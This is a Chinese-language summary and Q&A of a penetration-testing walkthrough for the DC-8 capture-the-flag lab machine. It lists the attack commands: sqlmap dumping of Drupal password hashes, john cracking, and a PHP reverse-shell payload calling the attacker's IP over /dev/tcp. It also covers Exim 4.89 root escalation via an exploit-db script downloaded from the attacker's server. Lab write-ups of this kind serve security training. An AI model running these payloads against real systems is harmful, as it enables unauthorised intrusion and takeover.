Vulhub 靶场训练,DC-8解析
内容提要
本文介绍了在Kali环境下进行渗透测试的步骤。首先进行信息收集,扫描同网段存活主机和开放端口探测。然后进行漏洞探测,使用SQLMAP扫描数据库、查询数据表名、字段名和字段值。接着进行漏洞利用,爆破密码密文、获取webshell并提权。最后查看最终flag内容。
延伸解读
环境搭建的兼容性调整
文章提到若DC-8靶机开机错误,可将VMware兼容版本从17改为16.x。这提示在复现靶场时,虚拟机兼容性可能影响启动,适当降低版本是一种可行的解决思路。同时,攻击机与靶机需处于同一网络,IP地址分别为192.168.200.14和192.168.200.13,确保后续扫描和攻击能正常进行。
SQL注入点的发现与利用
通过观察URL中的?nid=参数,作者推测可能存在文件包含或SQL注入漏洞,并使用SQLMAP进行验证。从扫描数据库、查询表名到导出用户密码哈希,整个过程展示了自动化工具在漏洞探测中的效率。但需注意,实际测试中应确保授权,避免非法攻击。
密码爆破与后台登录的局限性
获取Drupal密码哈希后,使用john爆破出明文密码turtle。尝试SSH登录失败,但用该密码成功登录后台。这说明同一密码在不同服务中可能复用,但也存在服务限制。后续上传webshell失败,转而通过反弹shell获取交互式访问,体现了渗透中灵活应变的重要性。
提权路径与Exim漏洞利用
通过查找suid文件发现Exim版本为4.89,利用公开EXP进行提权。执行脚本时需注意参数选择,第一个规则无效,第二个规则成功提权至root。这提醒读者在利用EXP时要仔细阅读使用说明,并尝试不同参数。最终在root目录下获取flag,完成靶场目标。
Q&A
DC-8靶场渗透测试中,如何搭建实验环境?
Kali攻击机IP为192.168.200.14,DC-8靶机IP为192.168.200.13,两者需处于同一网络(NAT或桥接模式)。若VMware开机报错,可将DC-8的兼容版本从17改为16.x。
在DC-8靶场中,信息收集阶段使用了哪些工具和命令?
使用arp-scan -l或netdiscover -r 192.168.200.0/24扫描同网段存活主机;使用nmap -sV -p- 192.168.200.13探测开放端口,发现22(SSH)和80(HTTP)端口开放。
如何利用SQLMAP对DC-8的Drupal网站进行SQL注入攻击?
针对URL http://192.168.200.13/?nid=1,依次执行:sqlmap -u "http://192.168.200.13/?nid=1" --dbs --batch 获取数据库;-D d7db --tables 获取表名;-D d7db -T users --columns 获取字段名;-D d7db -T users -C name,pass --dump 获取用户名和密码哈希。
DC-8靶场中获取的Drupal用户密码哈希如何破解?
将获取的密码哈希保存到password.txt,使用john工具进行爆破,得到明文密码turtle。
在DC-8靶场中,如何获取webshell并反弹shell?
使用john的密码turtle登录Drupal后台,在联系表单中提交PHP反弹shell代码(如<?php system("bash -i > /dev/tcp/192.168.200.14/8899 0>&1");?>),勾选Confirmation page并保存,然后提交表单触发代码,即可在Kali监听端口获得shell。
DC-8靶场中如何利用Exim漏洞进行提权?
先查找suid文件:find / -perm -4000 -print 2>/dev/null,发现Exim版本为4.89。在Kali上复制EXP:cp /usr/share/exploitdb/exploits/linux/local/46996.sh shell.sh,开启HTTP服务:python -m http.server 8899。在靶机下载shell.sh,赋予执行权限:chmod 777 shell.sh,执行./shell.sh,尝试两个参数,第二个参数成功提权至root。
DC-8靶场最终如何获取flag?
提权成功后,进入root目录,查看flag文件内容即可获取最终flag。